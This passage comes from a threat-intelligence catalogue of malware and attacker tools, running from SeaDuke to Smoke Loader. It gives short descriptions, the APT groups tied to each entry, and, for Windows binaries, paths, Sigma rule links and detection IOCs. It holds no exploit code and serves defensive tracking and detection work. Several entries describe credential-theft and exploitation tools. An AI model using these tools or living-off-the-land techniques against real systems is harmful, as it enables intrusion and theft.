[SeaDuke](https://app.tidalcyber.com/software/ae30d58e-21c5-41a4-9ebb-081dc1f26863) is malware that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://app.tidalcyber.com/software/c2353daa-fd4c-44e1-8013-55400439965a). ^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]}

The tag is: *misp-galaxy:software="SeaDuke"*

SEAELF

SEAELF is the installer component for the MEDUSA open-source rootkit.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}^{[[GitHub December 31 2022](/references/206a4707-06c2-4ce3-924b-15b48261a1a6)]}

The tag is: *misp-galaxy:software="SEAELF"*

Seasalt

[Seasalt](https://app.tidalcyber.com/software/3527b09b-f3f6-4716-9f90-64ea7d3b9d8a) is malware that has been linked to [APT1](https://app.tidalcyber.com/groups/5307bba1-2674-4fbd-bfd5-1db1ae06fc5f)'s 2010 operations. It shares some code similarities with [OceanSalt]([Mandiant APT1 Appendix(https://app.tidalcyber.com/references/1f31c09c-6a93-4142-8333-154138c1d70a)]</sup>^{[[McAfee Oceansalt Oct 2018](https://app.tidalcyber.com/references/04b475ab-c7f6-4373-a4b0-04b5d8028f95)]}

The tag is: *misp-galaxy:software="Seasalt"*

SEASHARPEE

[SEASHARPEE](https://app.tidalcyber.com/software/42c8504c-8a18-46d2-a145-35b0cd8ba669) is a Web shell that has been used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2). ^{[[FireEye APT34 Webinar Dec 2017](https://app.tidalcyber.com/references/4eef7032-de14-44a2-a403-82aefdc85c50)]}

The tag is: *misp-galaxy:software="SEASHARPEE"*

Seatbelt

Seatbelt is a tool used to perform numerous security-oriented checks.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Seatbelt"*

secretsdump

According to joint Cybersecurity Advisory AA23-319A (November 2023), secretsdump is a Python script "used to extract credentials and other confidential information from a system".^{[[U.S. CISA Rhysida Ransomware November 15 2023](/references/6d902955-d9a9-4ec1-8dd4-264f7594605e)]} Secretsdump is publicly available and included as a module of Impacket, a tool for working with network protocols.^{[[GitHub secretsdump](/references/c29a90a7-016f-49b7-a970-334290964f19)]}

The tag is: *misp-galaxy:software="secretsdump"*

Secure Socket Funneling

According to its GitHub project page, Secure Socket Funneling (SSF) is a "network tool and toolkit" that "provides simple and efficient ways to forward data from multiple sockets (TCP or UDP) through a single secure TLS tunnel to a remote computer".^{[[GitHub securesocketfunneling ssf](/references/077ab224-9406-4be7-8467-2a6da8dc786d)]}

The tag is: *misp-galaxy:software="Secure Socket Funneling"*

ServHelper

[ServHelper](https://app.tidalcyber.com/software/704ed49d-103c-4b33-b85c-73670cc1d719) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.^{[[Proofpoint TA505 Jan 2019](https://app.tidalcyber.com/references/b744f739-8810-4fb9-96e3-6488f9ed6305)]}

The tag is: *misp-galaxy:software="ServHelper"*

SessionGopher

SessionGopher is an open-source PowerShell tool that, according to its GitHub project page, can be used to surface and decrypt saved session information for remote access tools like PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP.^{[[GitHub Arvanaghi SessionGopher](/references/d37e6efe-05ed-445b-b8ba-3ace0a1afa46)]}

The tag is: *misp-galaxy:software="SessionGopher"*

Seth-Locker

[Seth-Locker](https://app.tidalcyber.com/software/fb47c051-d22b-4a05-94a7-cf979419b60a) is a ransomware with some remote control capabilities that has been in use since at least 2021.^{[[Trend Micro Ransomware February 2021](https://app.tidalcyber.com/references/64a86a3f-0160-4766-9ac1-7d287eb2c323)]}

The tag is: *misp-galaxy:software="Seth-Locker"*

Setres

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Configures display settings

Author: Grzegorz Tworek

Paths: * c:\windows\system32\setres.exe

Resources: * https://twitter.com/0gtweet/status/1583356502340870144

Detection: * Sigma: [proc_creation_win_lolbin_setres.yml](https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_setres.yml) * IOC: Unusual location for choice.exe file * IOC: Process created from choice.com binary * IOC: Existence of choice.cmd file^{[[Setres.exe - LOLBAS Project](/references/631de0bd-d536-4183-bc5a-25af83bd795a)]}

The tag is: *misp-galaxy:software="Setres"*

SettingSyncHost

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Host Process for Setting Synchronization

Author: Elliot Killick

Paths: * C:\Windows\System32\SettingSyncHost.exe * C:\Windows\SysWOW64\SettingSyncHost.exe

Resources: * https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin/

Detection: * Sigma: [proc_creation_win_lolbin_settingsynchost.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_settingsynchost.yml) * IOC: SettingSyncHost.exe should not be run on a normal workstation^{[[SettingSyncHost.exe - LOLBAS Project](/references/57f573f2-1c9b-4037-8f4d-9ae65d13af94)]}

The tag is: *misp-galaxy:software="SettingSyncHost"*

Setupapi

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Setup Application Programming Interface

Author: LOLBAS Team

Paths: * c:\windows\system32\setupapi.dll * c:\windows\syswow64\setupapi.dll

Resources: * https://github.com/huntresslabs/evading-autoruns * https://twitter.com/pabraeken/status/994742106852941825 * https://windows10dll.nirsoft.net/setupapi_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_setupapi_installhinfsection.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_rundll32_setupapi_installhinfsection.yml) * Sigma: [proc_creation_win_rundll32_susp_activity.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml) * Splunk: [detect_rundll32_application_control_bypass_setupapi.yml]([Setupapi.dll - LOLBAS Project(/references/1a8a1434-fc4a-4c3e-9a9b-fb91692d7efd)]}

The tag is: *misp-galaxy:software="Setupapi"*

ShadowLink

A persistence and command and control method using Tor hidden services for remote access.^{[[Microsoft Security Blog February 12 2025](/references/300bf6cb-582b-4e15-8cca-cb68c8856e6f)]}

The tag is: *misp-galaxy:software="ShadowLink"*

ShadowPad

[ShadowPad](https://app.tidalcyber.com/software/5190f50d-7e54-410a-9961-79ab751ddbab) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9), but has since been observed to be used by various Chinese threat activity groups. ^{[[Recorded Future RedEcho Feb 2021](https://app.tidalcyber.com/references/6da7eb8a-aab4-41ea-a0b7-5313d88cbe91)]}^{[[Securelist ShadowPad Aug 2017](https://app.tidalcyber.com/references/862877d7-e18c-4613-bdad-0700bf3d45ae)]}^{[[Kaspersky ShadowPad Aug 2017](https://app.tidalcyber.com/references/95c9a28d-6056-4f87-9a46-9491318889e2)]}

The tag is: *misp-galaxy:software="ShadowPad"*

Shamoon

[Shamoon](https://app.tidalcyber.com/software/840db1db-e262-4d6f-b6e3-2a64696a41c5) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://app.tidalcyber.com/software/840db1db-e262-4d6f-b6e3-2a64696a41c5) has also been seen leveraging [RawDisk](https://app.tidalcyber.com/software/d86a562d-d235-4481-9a3f-273fa3ebe89a) and Filerase to carry out data wiping tasks. Analysis has linked [Shamoon](https://app.tidalcyber.com/software/840db1db-e262-4d6f-b6e3-2a64696a41c5) with [Kwampirs](https://app.tidalcyber.com/software/35ac4018-8506-4025-a9e3-bd017700b3b3) based on multiple shared artifacts and coding patterns.^{[[Cylera Kwampirs 2022](https://app.tidalcyber.com/references/06442111-2c71-5efb-9530-cabeba159a91)]} The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.^{[[Palo Alto Shamoon Nov 2016](https://app.tidalcyber.com/references/15007a87-a281-41ae-b203-fdafe02a885f)]}^{[[Unit 42 Shamoon3 2018](https://app.tidalcyber.com/references/c2148166-faf4-4ab7-a37e-deae0c88c08d)]}^{[[Symantec Shamoon 2012](https://app.tidalcyber.com/references/ac634e99-d951-402b-bb1c-e575753dfda8)]}^{[[FireEye Shamoon Nov 2016](https://app.tidalcyber.com/references/44b2eb6b-4902-4ca0-80e5-7333d620e075)]}

The tag is: *misp-galaxy:software="Shamoon"*

ShapNBTScan

A NetBIOS scanner. Ghost actors use this tool for hostname and IP address enumeration.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="ShapNBTScan"*

ShareFinder

A PowerShell script used for network share discovery, part of the Veil-PowerView

toolkit.^{[[huntress.com November 14 2024](/references/0418012c-af7e-47b0-b690-85fd634532e4)]}

The tag is: *misp-galaxy:software="ShareFinder"*

Shark

[Shark](https://app.tidalcyber.com/software/278da5e8-4d4c-4c45-ad72-8f078872fb4a) is a backdoor malware written in C# and .NET that is an updated version of [Milan](https://app.tidalcyber.com/software/57545dbc-c72a-409d-a373-bc35e25160cd); it has been used by [HEXANE](https://app.tidalcyber.com/groups/eecf7289-294f-48dd-a747-7705820f4735) since at least July 2021.^{[[ClearSky Siamesekitten August 2021](https://app.tidalcyber.com/references/9485efce-8d54-4461-b64e-0d15e31fbf8c)]}^{[[Accenture Lyceum Targets November 2021](https://app.tidalcyber.com/references/127836ce-e459-405d-a75c-32fd5f0ab198)]}

The tag is: *misp-galaxy:software="Shark"*

SharpChromium

SharpChromium is an open-source software project. According to its GitHub repository, SharpChromium is a ".NET 4.0 CLR Project to retrieve Chromium data, such as cookies, history and saved logins."^{[[GitHub SharpChromium](/references/ca1956a5-72f2-43ad-a17f-a52ca97bd84e)]}

The tag is: *misp-galaxy:software="SharpChromium"*

SharpDisco

[SharpDisco](https://app.tidalcyber.com/software/4ed1e83b-a208-5518-bed2-d07c1b289da2) is a dropper developed in C# that has been used by [MoustachedBouncer](https://app.tidalcyber.com/groups/f31df12e-66ea-5a49-87bc-2bc1756a89fc) since at least 2020 to load malicious plugins.^{[[MoustachedBouncer ESET August 2023](https://app.tidalcyber.com/references/9070f14b-5d5e-5f6d-bcac-628478e01242)]}

The tag is: *misp-galaxy:software="SharpDisco"*

SharpExfiltrate

According to its GitHub project page, SharpExfiltrate is a "modular C# framework to exfiltrate loot over secure and trusted channels".^{[[GitHub Flangvik SharpExfiltrate](/references/7f0c0c86-c042-4a69-982a-c8c70ec1199c)]}

The tag is: *misp-galaxy:software="SharpExfiltrate"*

SharpGPPPass

SharpGPPPass attempts to exploit CVE-2014-1812 and targets XML files created through Group

Policy Preferences that may contain passwords.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="SharpGPPPass"*

SharpHound

SharpHound is an open-source software utility incorporated into the BloodHound Active Directory (AD) reconnaissance tool.^{[[GitHub SharpHound](/references/e1c405b4-b591-4469-848c-7a7dd69151c0)]} Adversaries have used SharpHound for AD enumeration.^{[[U.S. CISA Phobos February 29 2024](/references/bd6f9bd3-22ec-42fc-9d85-fdc14dcfa55a)]}

The tag is: *misp-galaxy:software="SharpHound"*

SharpRoast

SharpRoast is an open-source tool used to carry out Kerberoasting attacks. According to its GitHub project page, the tool is a C# port of specific functionality included in the PowerView module of the PowerSploit offensive security framework.^{[[GitHub SharpRoast](/references/43a2e05d-4662-4a5c-9c99-3165f0d71169)]}

The tag is: *misp-galaxy:software="SharpRoast"*

SharpShares

SharpShares is a tool that can be used to enumerate accessible network shares in a domain. BianLian Ransomware Group actors have used the tool for discovery purposes during attacks.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

The tag is: *misp-galaxy:software="SharpShares"*

SharpStage

[SharpStage](https://app.tidalcyber.com/software/564643fd-7113-490e-9f6a-f0cc3f0e1a4c) is a .NET malware with backdoor capabilities.^{[[Cybereason Molerats Dec 2020](https://app.tidalcyber.com/references/81a10a4b-c66f-4526-882c-184436807e1d)]}^{[[BleepingComputer Molerats Dec 2020](https://app.tidalcyber.com/references/307108c8-9c72-4f31-925b-0b9bd4b31e7b)]}

The tag is: *misp-galaxy:software="SharpStage"*

SHARPSTATS

[SHARPSTATS](https://app.tidalcyber.com/software/f655306f-f7b4-4eec-9bd6-ac75142fcb43) is a .NET backdoor used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) since at least 2019.<sup>[[TrendMicro POWERSTATS V3 June

2019](https://app.tidalcyber.com/references/bf9847e2-f2bb-4a96-af8f-56e1ffc45cf7)]</sup>

The tag is: *misp-galaxy:software="SHARPSTATS"*

SharpZeroLogon

SharpZeroLogon attempts to exploit CVE-2020-1472 and is run against a target domain controller.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="SharpZeroLogon"*

Shdocvw

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Shell Doc Object and Control Library.

Author: LOLBAS Team

Paths: * c:\windows\system32\shdocvw.dll * c:\windows\syswow64\shdocvw.dll

Resources: * http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/ * https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ * https://twitter.com/bohops/status/997690405092290561 * https://windows10dll.nirsoft.net/shdocvw_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Shdocvw.dll - LOLBAS Project(/references/0739d5fe-b460-4ed4-be75-cff422643a32)]</sup>

The tag is: *misp-galaxy:software="Shdocvw"*

Shell32

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows Shell Common Dll

Author: LOLBAS Team

Paths: * c:\windows\system32\shell32.dll * c:\windows\syswow64\shell32.dll

Resources: * https://twitter.com/Hexacorn/status/885258886428725250 * https://twitter.com/pabraeken/status/991768766898941953 * https://twitter.com/mattifestation/status/776574940128485376 * https://twitter.com/KyleHanslovan/status/905189665120149506 * https://windows10dll.nirsoft.net/shell32_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml) * Splunk: [rundll32_control_rundll_hunt.yml]([Shell32.dll - LOLBAS Project(/references/9465358f-e0cc-41f0-a7f9-01d5faca8157)]</sup>

The tag is: *misp-galaxy:software="Shell32"*

Shimgvw

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Photo Gallery Viewer

Author: Eral4m

Paths: * c:\windows\system32\shimgvw.dll * c:\windows\syswow64\shimgvw.dll

Resources: * https://twitter.com/eral4m/status/1479080793003671557

Detection: * IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line^{[[Shimgvw.dll - LOLBAS Project](/references/aba1cc57-ac30-400f-8b02-db7bf279dfb6)]}

The tag is: *misp-galaxy:software="Shimgvw"*

ShimRat

[ShimRat](https://app.tidalcyber.com/software/a3287231-351f-472f-96cc-24db2e3829c7) has been used by the suspected China-based adversary [Mofang](https://app.tidalcyber.com/groups/8bc69792-c26d-4493-87e3-d8e47605fed8) in

campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name "[ShimRat](https://app.tidalcyber.com/software/a3287231-351f-472f-96cc-24db2e3829c7)" comes from the malware’s extensive use of Windows Application Shimming to maintain persistence. ^{[[FOX-IT May 2016 Mofang](https://app.tidalcyber.com/references/f1a08b1c-f7d5-4a91-b3b7-0f042b297842)]}

The tag is: *misp-galaxy:software="ShimRat"*

ShimRatReporter

[ShimRatReporter](https://app.tidalcyber.com/software/77d9c948-93e3-4e12-9764-4da7570d9275) is a tool used by suspected Chinese adversary [Mofang](https://app.tidalcyber.com/groups/8bc69792-c26d-4493-87e3-d8e47605fed8) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://app.tidalcyber.com/software/a3287231-351f-472f-96cc-24db2e3829c7)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://app.tidalcyber.com/software/77d9c948-93e3-4e12-9764-4da7570d9275) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.^{[[FOX-IT May 2016 Mofang](https://app.tidalcyber.com/references/f1a08b1c-f7d5-4a91-b3b7-0f042b297842)]}

The tag is: *misp-galaxy:software="ShimRatReporter"*

SHIPSHAPE

[SHIPSHAPE](https://app.tidalcyber.com/software/3db0b464-ec5d-4cdd-86c2-62eac9c8acd6) is malware developed by [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) that allows propagation and exfiltration of data over removable devices. [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f) may use this capability to exfiltrate data across air-gaps. ^{[[FireEye APT30](https://app.tidalcyber.com/references/c48d2084-61cf-4e86-8072-01e5d2de8416)]}

The tag is: *misp-galaxy:software="SHIPSHAPE"*

SHOTPUT

[SHOTPUT](https://app.tidalcyber.com/software/49351818-579e-4298-9137-03b3dc699e22) is a custom backdoor used by [APT3](https://app.tidalcyber.com/groups/9da726e6-af02-49b8-8ebe-7ea4235513c9). ^{[[FireEye Clandestine Wolf](https://app.tidalcyber.com/references/dbb779c4-4d75-4fb4-ad3a-7d1f0f74e26f)]}

The tag is: *misp-galaxy:software="SHOTPUT"*

ShrinkLocker

[ShrinkLocker](https://app.tidalcyber.com/software/9baf920c-9a17-5037-8a6b-1ce1bcd570dc) is a VBS-based malicious script that leverages the legitimate Bitlocker application to encrypt files on victim systems for ransom. [ShrinkLocker](https://app.tidalcyber.com/software/9baf920c-9a17-5037-8a6b-1ce1bcd570dc) functions by using Bitlocker to encrypt files, then renames impacted drives to the adversary's contact email address to facilitate communication for the ransom payment.^{[[Kaspersky ShrinkLocker 2024](https://app.tidalcyber.com/references/87fc8249-9b42-5843-9100-03c4077a5eb0)]}^{[[Splunk ShrinkLocker 2024](https://app.tidalcyber.com/references/126737d7-7a9f-59b6-a96e-e7098cddb9c8)]}

The tag is: *misp-galaxy:software="ShrinkLocker"*

SHUTTERSPEED

[SHUTTERSPEED](https://app.tidalcyber.com/software/5b2d82a6-ed96-485d-bca9-2320590de890) is a backdoor used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66). ^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}

The tag is: *misp-galaxy:software="SHUTTERSPEED"*

Sibot

[Sibot](https://app.tidalcyber.com/software/ea0a1282-f2bf-4ae0-a19c-d7e379c2309b) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://app.tidalcyber.com/software/ea0a1282-f2bf-4ae0-a19c-d7e379c2309b) variants in early 2021 during its investigation of [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) and the [SolarWinds Compromise]([MSTIC NOBELIUM Mar 2021 (https://app.tidalcyber.com/references/8688a0a9-d644-4b96-81bb-031f1f898652)]</sup>

The tag is: *misp-galaxy:software="Sibot"*

SideTwist

[SideTwist](https://app.tidalcyber.com/software/61227a76-d315-4339-803a-e024f96e089e) is a C-based backdoor that has been used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) since at least 2021.^{[[Check Point APT34 April 2021](https://app.tidalcyber.com/references/593e8f9f-88ec-4bdc-90c3-1a320fa8a041)]}

The tag is: *misp-galaxy:software="SideTwist"*

SILENTTRINITY

[SILENTTRINITY](https://app.tidalcyber.com/software/4765999f-c35e-4a9f-8284-9f10a17e6c34) is an open source remote administration and post-exploitation framework primarily written in Python

that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://app.tidalcyber.com/software/4765999f-c35e-4a9f-8284-9f10a17e6c34) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.^{[[GitHub SILENTTRINITY March 2022](https://app.tidalcyber.com/references/cff66280-c592-4e3c-a56c-32a9620cf95c)]}^{[[Security Affairs SILENTTRINITY July 2019](https://app.tidalcyber.com/references/b4945fc0-b89b-445c-abfb-14959deba3d0)]}

The tag is: *misp-galaxy:software="SILENTTRINITY"*

Siloscape

[Siloscape](https://app.tidalcyber.com/software/8ea75674-cc08-40cf-824c-40eb5cd6097e) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://app.tidalcyber.com/software/8ea75674-cc08-40cf-824c-40eb5cd6097e) was first observed in March 2021.^{[[Unit 42 Siloscape Jun 2021](https://app.tidalcyber.com/references/4be128a7-97b8-48fa-8a52-a53c1e56f086)]}

The tag is: *misp-galaxy:software="Siloscape"*

SimpleHelp

A legitimate remote access software tool used by adversaries to facilitate command and control activity and usually for additional purposes.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="SimpleHelp"*

Skeleton Key

[Skeleton Key](https://app.tidalcyber.com/software/206453a4-a298-4cab-9fdf-f136a4e0c761) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. ^{[[Dell Skeleton](https://app.tidalcyber.com/references/cea9ce77-7641-4086-b92f-a4c3ad94a49c)]} Functionality similar to [Skeleton Key](https://app.tidalcyber.com/software/206453a4-a298-4cab-9fdf-f136a4e0c761) is included as a module in [Mimikatz](https://app.tidalcyber.com/software/b8e7c0b4-49e4-4e8d-9467-b17f305ddf16).

The tag is: *misp-galaxy:software="Skeleton Key"*

Skidmap

[Skidmap](https://app.tidalcyber.com/software/cc91d3d4-bbf5-4a9c-b43a-2ba034db4858) is a kernel-mode rootkit used for cryptocurrency mining.^{[[Trend Micro Skidmap](https://app.tidalcyber.com/references/53291621-f0ad-4cb7-af08-78b96eb67168)]}

The tag is: *misp-galaxy:software="Skidmap"*

SLIGHTPULSE

[SLIGHTPULSE](https://app.tidalcyber.com/software/c8fed4fc-5721-5db2-b107-b2a9b677244e) is a web shell that was used by [APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) entities.^{[[Mandiant Pulse Secure Zero-Day April 2021](https://app.tidalcyber.com/references/0760480c-97be-5fc9-a6aa-f1df91a314a3)]}

The tag is: *misp-galaxy:software="SLIGHTPULSE"*

Sliver

[Sliver](https://app.tidalcyber.com/software/bbd16b7b-7e35-4a11-86ff-9b19e17bdab3) is an open source, cross-platform, red team command and control (C2) framework written in Golang. [Sliver](https://app.tidalcyber.com/software/bbd16b7b-7e35-4a11-86ff-9b19e17bdab3) includes its own package manager, "armory," for staging and downloading additional tools and payloads to the primary C2 framework.^{[[Bishop Fox Sliver Framework August 2019](https://app.tidalcyber.com/references/51e67e37-2d61-4228-999b-bec6f80cf106)]}^{[[Cybereason Sliver Undated](https://app.tidalcyber.com/references/72744c10-c500-5691-9f28-6a66ee7f5ef2)]}

The tag is: *misp-galaxy:software="Sliver"*

SLOTHFULMEDIA

[SLOTHFULMEDIA](https://app.tidalcyber.com/software/563c6534-497e-4d65-828c-420d5bb2041a) is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017.^{[[CISA MAR SLOTHFULMEDIA October 2020](https://app.tidalcyber.com/references/57c3256c-0d24-4647-9037-fefe1c88ad61)]}^{[[Costin Raiu IAmTheKing October 2020](https://app.tidalcyber.com/references/2be88843-ed3a-460e-87c1-85aa50e827c8)]} It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.^{[[USCYBERCOM SLOTHFULMEDIA October 2020](https://app.tidalcyber.com/references/600de668-f128-4368-8667-24ed9a9db47a)]}^{[[Kaspersky IAmTheKing October 2020](https://app.tidalcyber.com/references/fe4050f3-1a73-4e98-9bf1-e8fb73a23b7a)]}

In October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://app.tidalcyber.com/software/563c6534-497e-4d65-828c-420d5bb2041a) is part of an activity cluster it refers to as "IAmTheKing".^{[[Kaspersky IAmTheKing October 2020](https://app.tidalcyber.com/references/fe4050f3-1a73-4e98-9bf1-e8fb73a23b7a)]} ESET also noted code similarity between [SLOTHFULMEDIA](https://app.tidalcyber.com/software/563c6534-497e-4d65-828c-420d5bb2041a) and droppers used by a group it refers to as "PowerPool".^{[[ESET PowerPool Code October 2020](https://app.tidalcyber.com/references/d583b409-35bd-45ea-8f2a-c0d566a6865b)]}

The tag is: *misp-galaxy:software="SLOTHFULMEDIA"*

SLOWDRIFT

[SLOWDRIFT](https://app.tidalcyber.com/software/7c047a54-93cf-4dfc-ab20-d905791aebb2) is a backdoor used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) against academic and strategic victims in South Korea. ^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}

The tag is: *misp-galaxy:software="SLOWDRIFT"*

SLOWPULSE

[SLOWPULSE](https://app.tidalcyber.com/software/37e264a6-5ad3-5a79-bf2c-db725622206e) is a malware that was used by [APT5](https://app.tidalcyber.com/groups/f46d6ee9-9d1d-586a-9f2d-6bff8fb92910) as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. [SLOWPULSE](https://app.tidalcyber.com/software/37e264a6-5ad3-5a79-bf2c-db725622206e) has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.^{[[Mandiant Pulse Secure Zero-Day April 2021](https://app.tidalcyber.com/references/0760480c-97be-5fc9-a6aa-f1df91a314a3)]}

The tag is: *misp-galaxy:software="SLOWPULSE"*

SlowStepper

SlowStepper is a custom, modular backdoor that has been used by PlushDaemon, a "China-aligned" cyberespionage group. It was notably deployed by a malicious installer as part of a supply chain compromise targeting VPN software produced by a South Korean company.^{[[ESET PlushDaemon January 22 2025](/references/f35fc467-17c4-4eff-a9cb-921bfb3cc5d1)]}

The tag is: *misp-galaxy:software="SlowStepper"*

Small Sieve

[Small Sieve](https://app.tidalcyber.com/software/c58028b9-2e79-4bc9-9b04-d24ea4dd4948) is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) since at least January 2022.^{[[DHS CISA AA22-055A MuddyWater February 2022](https://app.tidalcyber.com/references/e76570e1-43ab-4819-80bc-895ede67a205)]}^{[[NCSC GCHQ Small Sieve Jan 2022](https://app.tidalcyber.com/references/0edb8946-be38-45f5-a27c-bdbebc383d72)]}

Security researchers have also noted [Small Sieve](https://app.tidalcyber.com/software/c58028b9-2e79-4bc9-9b04-d24ea4dd4948)'s use by UNC3313, which may be associated with [MuddyWater]([Mandiant UNC3313 Feb 2022(https://app.tidalcyber.com/references/ac1a1262-1254-4ab2-a940-2d08b6558e9e)]</sup>

The tag is: *misp-galaxy:software="Small Sieve"*

SMOKEDHAM

[SMOKEDHAM](https://app.tidalcyber.com/software/9ae4154d-ee48-4aeb-b76f-6e40dbe18ff3) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.^{[[FireEye Shining A Light on DARKSIDE May 2021](https://app.tidalcyber.com/references/6ac6acc2-9fea-4887-99b2-9988991b47b6)]}^{[[FireEye SMOKEDHAM June 2021](https://app.tidalcyber.com/references/a81ad3ef-fd96-432c-a7c8-ccc86d127a1b)]}

The tag is: *misp-galaxy:software="SMOKEDHAM"*

Smoke Loader

